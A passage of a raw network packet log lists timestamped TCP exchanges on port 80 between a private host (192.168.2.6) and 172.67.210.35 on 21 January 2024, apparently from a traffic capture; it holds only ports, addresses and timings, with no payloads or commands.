Jan 21, 2024 17:27:13.249371052 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249386072 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249430895 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.249552011 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249564886 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249574900 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249588966 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249598980 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.249600887 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249614954 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249628067 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249633074 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.249641895 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249660015 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249675989 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249682903 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.249690056 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249697924 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.249702930 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249721050 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.249739885 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.250287056 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.250300884 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.250339985 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.250400066 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.250412941 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.250426054 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.250437975 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.250451088 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.250458956 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.250463963 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.250477076 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.250489950 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.250502110 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.250504971 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.250519991 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.250520945 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.250533104 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.250546932 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.250546932 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.250561953 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.250595093 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.251188040 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.251250982 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.251265049 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.251276016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.251288891 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.251301050 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.251302958 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.251327038 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.251327991 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.251342058 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.251348019 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.251353979 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.251367092 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.251379967 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.251383066 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.251391888 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.251405954 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.251414061 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.251420975 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.251426935 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.251470089 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.252121925 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.252135992 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.252172947 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.252300024 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.252312899 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.252324104 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.252336979 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.252351046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.252353907 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.252363920 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.252376080 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.252392054 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.252396107 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.252404928 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.252418041 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.252424955 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.252432108 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.252444983 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.252449036 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.252456903 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.252490044 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.253017902 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.253207922 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.253221035 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.253233910 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.253247023 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.253259897 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.253259897 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.253273964 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.253287077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.253287077 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.253300905 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.253308058 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.253314018 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.253326893 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.253328085 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.253340960 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.253355026 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.253359079 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.253369093 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.253382921 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.253417969 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.254040003 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254053116 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254064083 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254077911 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254091024 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254091024 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.254105091 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254118919 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254121065 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.254132032 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254158020 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.254179955 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.254528046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254539967 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254550934 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254563093 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254576921 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254584074 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.254611015 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.254667044 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254679918 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254690886 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254703999 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254717112 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254725933 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.254733086 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254745960 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254754066 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.254759073 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254772902 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.254772902 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.254795074 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.254811049 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.255454063 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.255467892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.255479097 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.255491972 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.255505085 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.255510092 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.255518913 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.255530119 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.255562067 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.255594015 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.255608082 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.255620956 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.255633116 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.255645990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.255659103 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.255665064 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.255671024 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.255681038 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.255695105 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.255750895 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.257340908 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257354975 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257366896 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257379055 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257390976 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257402897 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257407904 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.257416010 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257427931 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.257430077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257443905 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257457972 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257461071 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.257472038 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257483959 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257491112 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.257498026 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257509947 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257514954 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.257524014 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257538080 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257539034 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.257550955 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257559061 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.257564068 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257577896 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257591009 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257592916 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.257605076 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257617950 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257618904 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.257631063 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257644892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257647038 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.257658958 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257664919 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.257673025 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257685900 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257700920 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.257703066 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.257721901 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.257750988 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.260302067 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.260315895 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.260368109 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.260459900 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.260473967 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.260519981 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261210918 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261382103 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261394024 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261439085 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261518955 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261532068 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261543036 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261554956 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261559963 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261568069 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261579990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261590004 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261591911 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261605978 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261620045 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261620998 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261634111 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261634111 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261645079 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261657953 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261671066 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261674881 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261683941 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261694908 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261702061 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261708021 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261719942 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261723042 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261732101 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261743069 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261745930 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261759043 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261770964 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261779070 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261790991 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261791945 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261806965 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261820078 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261821985 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261832952 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261833906 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261846066 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261858940 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261863947 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261872053 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261884928 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261907101 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261907101 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261923075 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261928082 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261941910 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261953115 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261956930 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.261965036 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.261989117 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.262000084 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262011051 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.262012959 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262026072 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262038946 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262049913 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262057066 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.262063980 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262077093 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262082100 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.262115002 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.262166023 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262211084 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.262818098 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262830973 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262842894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262855053 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262868881 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262882948 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262890100 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.262897015 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262908936 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262921095 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.262932062 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262937069 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.262944937 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262958050 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262963057 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.262969971 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262981892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262994051 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.262995958 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.263022900 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.263040066 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.263223886 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263237000 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263248920 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263262987 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263276100 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263281107 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.263288975 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263302088 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263304949 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.263314962 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263329029 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263336897 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.263341904 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263359070 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263369083 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.263374090 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263386965 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263396025 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.263401985 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263413906 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263418913 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.263427019 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263439894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263453960 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263459921 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.263465881 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263478994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263485909 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.263493061 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263495922 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.263505936 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263520002 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263523102 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.263533115 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263545990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263549089 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.263561010 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263573885 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263585091 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.263586998 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.263617992 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.263628006 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.264168024 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264182091 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.264194012 CET	80	49713	172.67.210.35	192.168.2.6
